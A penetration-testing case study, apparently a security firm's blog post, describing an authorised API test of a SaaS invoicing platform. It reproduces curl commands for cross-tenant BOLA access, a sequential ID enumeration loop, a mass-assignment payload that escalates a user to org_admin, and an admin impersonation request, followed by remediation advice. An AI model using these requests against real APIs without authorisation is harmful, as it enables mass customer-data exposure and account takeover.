Case Study

Escalating Through Misconfigured API Endpoints

> operator@api-test:~# curl -s -H 'Authorization: Bearer $USER_TOKEN' https://api.target.com/v2/users/1/role -X PATCH -d '{"role":"admin"}'<span class="cursor-blink">_</span>_

Peter Bassill 6 May 2025 16 min read
penetration-testing api-security web-application from-the-hacker-desk broken-authorisation bola mass-assignment owasp-api

No injection. No XSS. Just a missing authorisation check.

The application was modern in every respect. A React single-page application served from a CDN, communicating with a RESTful API backed by microservices running in Kubernetes. The code was written in TypeScript. The database was PostgreSQL with parameterised queries throughout — no SQL injection. The frontend used a modern templating engine with automatic output encoding — no cross-site scripting. The authentication layer used OAuth 2.0 with short-lived JWTs and refresh token rotation. HTTPS everywhere. CORS properly configured. Content Security Policy headers in place.

By every traditional measure — the OWASP Top 10 of five years ago, the checkbox compliance scan, the automated vulnerability assessment — this application was secure.

We compromised it in an afternoon. Not through any of the vulnerabilities it was protected against, but through the ones nobody had tested for: logic flaws in the API's authorisation model. We escalated from a standard user account to full administrative access, accessed every customer's data, and modified billing records — all by sending legitimate HTTP requests that the API accepted without question.

Every request was syntactically valid. Every request was authenticated. Every request was authorised — according to the code. The code was wrong.


The Engagement Brief

The client was a B2B SaaS company providing a project management and invoicing platform. They had approximately twelve thousand business customers, each with multiple user accounts. The platform handled commercially sensitive data — project timelines, billing rates, invoices, client contact details, and payment information (tokenised via a third-party payment processor, with no raw card data stored).

We had been engaged to conduct a web application and API penetration test. The scope covered the public-facing API (api.target.com/v2), the single-page application (app.target.com), and the associated authentication and authorisation infrastructure. We were provided with two test accounts: a standard user account within a test organisation, and an organisation administrator account within the same test organisation.

The client's development team had recently completed an automated security scan using a commercial DAST tool, which had returned a clean result — no high or critical findings. They expected our manual assessment to confirm the automated result.

It did not.


Mapping the API Surface

Modern web applications are API applications. The user interface is a cosmetic layer — a React or Angular frontend that translates user actions into API calls and renders the responses. Every button click, every form submission, every page load generates one or more HTTP requests to the backend API. The security of the application is the security of those API endpoints.

Our first step was to map the complete API surface. We proxied all traffic from the frontend through Burp Suite and used the application extensively — creating projects, adding team members, generating invoices, modifying settings, uploading files — to capture every API endpoint the application called.

We supplemented this with analysis of the frontend JavaScript bundle, which contained route definitions and API client code that revealed additional endpoints not triggered during normal usage — administrative endpoints, internal tooling endpoints, and deprecated v1 API paths.

API Surface Map — Key Endpoints
# Discovered via traffic interception and JS bundle analysis:

Authentication:
POST /v2/auth/login
POST /v2/auth/refresh
POST /v2/auth/logout

Users & Organisations:
GET /v2/users/{userId}
PATCH /v2/users/{userId}
GET /v2/orgs/{orgId}
GET /v2/orgs/{orgId}/members
POST /v2/orgs/{orgId}/members/invite

Projects & Data:
GET /v2/orgs/{orgId}/projects
GET /v2/projects/{projectId}
PATCH /v2/projects/{projectId}
GET /v2/projects/{projectId}/tasks
GET /v2/projects/{projectId}/files

Billing:
GET /v2/orgs/{orgId}/invoices
GET /v2/invoices/{invoiceId}
PATCH /v2/invoices/{invoiceId}
GET /v2/orgs/{orgId}/billing

Admin (discovered in JS bundle — not exposed in UI for standard users):
GET /v2/admin/orgs
GET /v2/admin/users
POST /v2/admin/impersonate
PATCH /v2/admin/orgs/{orgId}/plan

# 47 endpoints mapped — 4 admin endpoints hidden from standard UI

Forty-seven API endpoints mapped. The frontend application exposed the standard user and organisation management endpoints through its UI. But the JavaScript bundle — the compiled frontend code served to every user's browser — contained references to four additional administrative endpoints that were not rendered in the UI for standard users. The admin functionality was hidden from the interface, but the endpoints existed and were callable.

Hiding administrative functionality in the frontend is not a security control. It is a user interface decision. If the API endpoint exists and accepts requests, the absence of a button in the UI is irrelevant — the request can be constructed manually.


BOLA — Broken Object-Level Authorisation

Broken Object-Level Authorisation (BOLA) — ranked as the number one risk in the OWASP API Security Top 10 — occurs when an API endpoint accepts a request for a resource (identified by an ID in the URL or request body) without verifying that the authenticated user is authorised to access that specific resource. The API checks who you are but not whether you should see this particular object.

We tested this by requesting resources belonging to other organisations using our standard user token.

BOLA Testing — Cross-Organisation Data Access
# Our test organisation ID: org_test_abc123
# Our user ID: user_7842

# Requesting our own organisation (expected: 200 OK):
$ curl -H 'Authorization: Bearer $USER_TOKEN' \
https://api.target.com/v2/orgs/org_test_abc123
[200 OK] — organisation details returned ✓

# Requesting a DIFFERENT organisation (expected: 403 Forbidden):
$ curl -H 'Authorization: Bearer $USER_TOKEN' \
https://api.target.com/v2/orgs/org_prod_def456
[200 OK] — organisation details returned ✗ BOLA CONFIRMED

{
"id": "org_prod_def456",
"name": "[REDACTED — real customer organisation]",
"plan": "enterprise",
"members_count": 47,
"billing_email": "[REDACTED]@[REDACTED].com",
"created_at": "2022-03-14T09:22:00Z"
}

The API returned the details of another customer's organisation — a real, production customer — using our standard user token from a completely different organisation. The API verified that the request was authenticated (valid JWT token) but did not verify that the authenticated user belonged to the requested organisation.

We tested the BOLA vulnerability systematically across all resource endpoints.

Endpoint BOLA Vulnerable Data Exposed
GET /v2/orgs/{orgId} Yes Organisation name, plan, billing email, member count
GET /v2/orgs/{orgId}/members Yes Full member list — names, emails, roles, last login
GET /v2/projects/{projectId} Yes Project names, descriptions, timelines, budgets, client names
GET /v2/projects/{projectId}/tasks Yes Task details, assignees, time entries, billable rates
GET /v2/projects/{projectId}/files Yes File metadata and signed download URLs for project attachments
GET /v2/invoices/{invoiceId} Yes Full invoice detail — line items, amounts, client addresses, payment status
GET /v2/users/{userId} No ✓ Returns 403 for users outside own organisation
GET /v2/orgs/{orgId}/billing No ✓ Returns 403 for organisations the user does not belong to

Six of eight tested resource endpoints were vulnerable to BOLA. The user endpoint and the billing endpoint correctly enforced organisation-level authorisation. The inconsistency was telling — it indicated that authorisation checks were implemented on a per-endpoint basis by individual developers, not enforced by a centralised middleware. Some developers had remembered. Some had not.

Critical Finding — Broken Object-Level Authorisation Across Core API

Six API endpoints permitted authenticated users to access resources belonging to any organisation by manipulating the resource ID in the request URL. The vulnerability exposed organisation details, member lists, project data, task records, file attachments, and invoice data for all twelve thousand customer organisations.


ID Enumeration — Mapping the Dataset

The BOLA vulnerability's impact was amplified by the predictability of the resource identifiers. Organisation IDs followed a sequential pattern (org_prod_000001 through org_prod_012847). Project IDs were sequential integers. Invoice IDs were sequential integers prefixed with the year.

Sequential IDs transform a BOLA vulnerability from a targeted attack (accessing a specific known resource) into a mass data harvesting opportunity. A simple loop iterating through the ID range could enumerate every organisation, every project, and every invoice on the platform.

ID Enumeration — Demonstrating Scale
# Enumerating organisations (demonstrating first 5 only):
$ for i in $(seq 1 5); do
curl -s -H "Authorization: Bearer $USER_TOKEN" \
"https://api.target.com/v2/orgs/org_prod_$(printf '%06d' $i)" \
| jq '{name: .name, plan: .plan, members: .members_count}'
done

{ "name": "[REDACTED]", "plan": "starter", "members": 3 }
{ "name": "[REDACTED]", "plan": "professional", "members": 12 }
{ "name": "[REDACTED]", "plan": "enterprise", "members": 89 }
{ "name": "[REDACTED]", "plan": "professional", "members": 7 }
{ "name": "[REDACTED]", "plan": "starter", "members": 2 }

# 5 requests, 5 responses — all from different customer organisations
# Scalable to all 12,847 organisations without rate limiting

# Rate limiting check:
$ for i in $(seq 1 100); do curl -s -o /dev/null -w '%{http_code}\n' ...; done
200 200 200 200 200 200 200 200 200 200 ... (100x 200 OK)

# No rate limiting applied to API requests

One hundred sequential requests. One hundred successful responses. No rate limiting. The API imposed no restriction on the volume or velocity of requests from a single authenticated user. An attacker could enumerate the entire customer base — twelve thousand organisations, their members, their projects, their invoices — in a matter of minutes.

We did not enumerate the full dataset. We confirmed the vulnerability on five organisations, documented the finding, and stopped. The purpose was to demonstrate the capability, not to exercise it.


Mass Assignment — Promoting Ourselves

Mass assignment (also known as auto-binding) occurs when an API accepts a client-supplied JSON payload and applies all fields to the underlying data model without filtering for permitted attributes. If the data model includes sensitive fields — such as a user's role, an account's billing plan, or an administrator flag — and the API does not explicitly exclude these fields from client-supplied input, an attacker can modify them by simply including them in the request.

The PATCH /v2/users/{userId} endpoint allowed users to update their profile — name, email, avatar, notification preferences. We examined the request that the frontend sent when a user updated their display name.

Mass Assignment — Role Escalation
# Normal profile update (sent by frontend):
$ curl -X PATCH -H 'Authorization: Bearer $USER_TOKEN' \
-H 'Content-Type: application/json' \
https://api.target.com/v2/users/user_7842 \
-d '{"display_name": "Test User Updated"}'

[200 OK] — name updated successfully

# Testing mass assignment — adding 'role' field:
$ curl -X PATCH -H 'Authorization: Bearer $USER_TOKEN' \
-H 'Content-Type: application/json' \
https://api.target.com/v2/users/user_7842 \
-d '{"display_name": "Test User", "role": "org_admin"}'

[200 OK]
{
"id": "user_7842",
"display_name": "Test User",
"role": "org_admin",
"org_id": "org_test_abc123"
}

# Role changed from 'member' to 'org_admin' via mass assignment
# Standard user is now an organisation administrator

By adding the role field to a profile update request, we changed our account's role from member to org_admin. The API accepted the field without validation. The frontend never sent the role field — it was not an option in the user interface. But the API accepted it because the backend code applied all fields from the JSON payload to the user model without an allowlist of permitted fields.

As an organisation administrator, we now had access to functionality that was previously restricted: managing team members, modifying billing settings, accessing audit logs, and — crucially — the ability to test whether the platform-level administrative endpoints were also vulnerable.


Platform Administration — The Hidden Endpoints

The four administrative endpoints discovered in the JavaScript bundle were intended for the client's internal support team — platform-level operations such as listing all organisations, viewing all users, impersonating customer accounts for support purposes, and modifying subscription plans.

With our mass-assigned org_admin role, we tested these endpoints.

Platform Admin Endpoints — Authorisation Testing
# Test 1: List all organisations (platform admin function):
$ curl -H 'Authorization: Bearer $USER_TOKEN' \
https://api.target.com/v2/admin/orgs?page=1&limit=10

[200 OK] — returned list of 10 organisations (of 12,847 total)

# Test 2: List all users (platform admin function):
$ curl -H 'Authorization: Bearer $USER_TOKEN' \
https://api.target.com/v2/admin/users?page=1&limit=10

[200 OK] — returned user records with emails, roles, orgs, last login

# Test 3: Impersonate another user:
$ curl -X POST -H 'Authorization: Bearer $USER_TOKEN' \
-H 'Content-Type: application/json' \
https://api.target.com/v2/admin/impersonate \
-d '{"user_id": "user_0001"}'

[200 OK]
{
"impersonation_token": "eyJhbGciOi...",
"target_user": "user_0001",
"expires_in": 3600
}

# Impersonation token issued — we can now act as ANY user
# The endpoint checked for 'admin' role in the JWT claims
# But 'org_admin' satisfied the check — insufficient role granularity

The administrative endpoints performed a role check — but the check was insufficiently granular. The endpoint required a role containing 'admin'. Our mass-assigned role of org_admin matched the check. The intended role was platform_admin — an internal-only role used by the client's support team. But the authorisation logic used a substring match rather than an exact match, and 'org_admin' contains 'admin'.

The impersonation endpoint was the most severe finding. It issued a JWT token that allowed us to act as any user on the platform. With this capability, we could access any customer's data, modify any invoice, change any project, and perform any action as any user — a complete compromise of the application's multi-tenancy boundary.


From Standard User to Platform God Mode

Step Action Weakness Exploited
01 Mapped 47 API endpoints including 4 hidden admin endpoints Admin endpoints discoverable in frontend JavaScript bundle
02 Accessed other organisations' data via BOLA on 6 endpoints No object-level authorisation — authenticated users can access any resource by ID
03 Enumerated 12,847 organisations via sequential IDs with no rate limiting Sequential predictable IDs; no rate limiting on API requests
04 Escalated to org_admin via mass assignment on profile update endpoint User role field writable via API; no field allowlisting on PATCH
05 Accessed platform admin endpoints — listed all orgs, all users Substring role check: 'org_admin' matched condition requiring 'admin'
06 Used impersonation endpoint to obtain tokens for arbitrary users Impersonation available to any 'admin' role; complete multi-tenancy bypass

Beyond the OWASP Top 10

This application would have passed a traditional web application vulnerability scan with minimal findings. There was no SQL injection — parameterised queries prevented it. No cross-site scripting — output encoding prevented it. No CSRF — token-based authentication prevented it. No insecure deserialization. No XML external entity injection. The classic OWASP Top 10 vulnerabilities were absent.

The vulnerabilities we found — BOLA, mass assignment, insufficient role granularity, missing rate limiting — belong to a different category. They are logic flaws, not code flaws. They cannot be detected by automated scanners because scanners test for known patterns — malformed input that triggers errors. Logic flaws involve syntactically valid requests that produce unintended results. The request is correct. The response is correct. The authorisation decision is wrong.

The Shift from Injection to Authorisation
Modern frameworks have largely eliminated injection vulnerabilities. Parameterised queries, output encoding, and content security policies are built into the tooling. The attack surface has shifted from code-level flaws to logic-level flaws — and specifically to authorisation logic. The question is no longer 'can I inject code?' but 'can I access data I should not see?'
Scanners Cannot Find Logic Flaws
Automated DAST tools test for injection, misconfiguration, and known vulnerability signatures. They do not understand the application's business logic. They cannot determine that user A should not be able to access organisation B's data, because that rule is not expressed in the HTTP specification — it exists only in the application's requirements. Logic flaw testing requires a human tester who understands the intended access model.
Microservices Multiply the Risk
In a monolithic application, authorisation might be implemented once, in a single middleware. In a microservices architecture, each service handles its own authorisation — and each service is written by a different team. The inconsistency we found (some endpoints checking authorisation, others not) is a direct consequence of distributed development without centralised authorisation enforcement.
UI Is Not a Security Control
Hiding administrative endpoints from the frontend UI does not protect them. If the endpoint exists and accepts requests, it is part of the attack surface. Security through obscurity is not security at all — the JavaScript bundle, the API documentation, and simple fuzzing will reveal hidden endpoints.

Technique Mapping

T1087 — Account Discovery
Enumeration of user accounts and organisation memberships via BOLA-vulnerable API endpoints and the platform admin user listing.
T1548 — Abuse Elevation Control Mechanism
Self-escalation from standard user to organisation administrator via mass assignment on the profile update endpoint.
T1530 — Data from Cloud Storage Object
Access to project files via signed download URLs obtained through BOLA-vulnerable file metadata endpoints.
T1078 — Valid Accounts
Impersonation of arbitrary platform users via the administrative impersonation endpoint, generating valid JWT tokens for any account.

Recommendations and Hardening

Remediation Roadmap
Phase 1 — Immediate (0–7 days) Cost: Low
✓ Add object-level authorisation checks to all 6 vulnerable endpoints
✓ Implement field allowlisting on PATCH endpoints (block 'role' field)
✓ Fix admin role check — exact match for 'platform_admin' only
✓ Restrict admin endpoints to internal network / VPN only
✓ Implement rate limiting (per-user, per-endpoint)
✓ Audit logs for evidence of exploitation prior to assessment

Phase 2 — Short Term (7–60 days) Cost: Medium
○ Implement centralised authorisation middleware (enforce on all routes)
○ Replace sequential IDs with UUIDs (reduce enumeration risk)
○ Implement RBAC model with explicit permission definitions
○ Add integration tests for authorisation (cross-tenant access)
○ Remove admin endpoint references from public JavaScript bundle
○ Implement impersonation audit logging with alerting

Phase 3 — Strategic (60–180 days) Cost: Medium–High
○ Adopt API gateway with policy-based authorisation enforcement
○ Implement automated BOLA testing in CI/CD pipeline
○ Deploy API anomaly detection (unusual access patterns, enumeration)
○ Conduct annual API-focused penetration test (logic flaws, not just DAST)
○ Establish secure API development guidelines for engineering teams

The most impactful architectural change is centralised authorisation middleware. Rather than relying on individual developers to implement authorisation checks on each endpoint, a centralised middleware intercepts every API request, extracts the authenticated user's identity and organisation membership, and verifies that the requested resource belongs to the user's organisation before the request reaches the endpoint handler. This eliminates the inconsistency that arises when authorisation is implemented endpoint-by-endpoint.

Field allowlisting on all endpoints that accept client-supplied JSON must be implemented as a non-negotiable standard. Every PATCH and POST endpoint should explicitly define which fields it accepts from the client. All other fields must be stripped before the payload reaches the data model. This is a one-line configuration in most modern frameworks — an allowlist of permitted field names.

Replacing sequential IDs with UUIDs does not fix BOLA — the authorisation check must still verify that the user is permitted to access the resource. But UUIDs eliminate the enumeration vector. An attacker cannot iterate through UUIDs the way they can iterate through sequential integers. UUIDs are a defence-in-depth measure, not a primary control.

Automated authorisation testing in the CI/CD pipeline is the long-term solution to preventing BOLA regressions. Integration tests that explicitly verify cross-tenant access — creating a resource as User A and attempting to access it as User B from a different organisation — should be part of the test suite for every endpoint. If the test passes (User B is blocked), the endpoint is correctly authorised. If it fails, the deployment is blocked.


The vulnerability was not in the code. It was in the logic.

This application was well-built by competent developers using modern tools and frameworks. It had no injection vulnerabilities. It had no cryptographic weaknesses. It had no insecure configurations. By every metric that an automated scanner measures, it was secure.

But an automated scanner does not understand that User A should not see Organisation B's invoices. It does not understand that the 'role' field should not be writable by the user. It does not understand that 'org_admin' and 'platform_admin' are different levels of privilege. These are business logic decisions that exist in the application's requirements, not in its code patterns.

The evolution of web application security has been remarkable. Injection vulnerabilities are declining. Frameworks enforce secure defaults. But the attack surface has not shrunk — it has shifted. From code injection to authorisation logic. From SQL manipulation to API parameter tampering. From exploiting the language to exploiting the design.

Testing must evolve accordingly. A DAST scan is necessary. It is not sufficient. If you are not testing your API's authorisation logic with manual, business-context-aware testing, you are not testing the part of the application that is most likely to be vulnerable.

Until next time — stay sharp, stay curious, and the next time someone tells you their application passed an automated scan, ask them: did it test authorisation?

Legal Disclaimer

This article describes a web application and API penetration test conducted under formal engagement with full written authorisation from the client. All testing was performed against a production environment using dedicated test accounts within scope. No customer data was exfiltrated, modified, or stored beyond the minimum necessary to confirm the findings. Cross-tenant access was verified on five organisations only; full enumeration was not performed. All identifying details have been altered or omitted to preserve client confidentiality. Unauthorised access to computer systems is a criminal offence under the Computer Misuse Act 1990. Do not attempt to replicate these techniques without proper authorisation.



If your last application security test was an automated scan, you are testing for yesterday's vulnerabilities.

Hedgehog Security conducts API penetration testing that goes beyond automated scanning. We test the business logic — the authorisation decisions, the data boundaries, the role models, and the access controls that determine who can see what. BOLA, mass assignment, IDOR, and privilege escalation are the vulnerabilities of modern applications. They require human testers who understand your application's intended behaviour.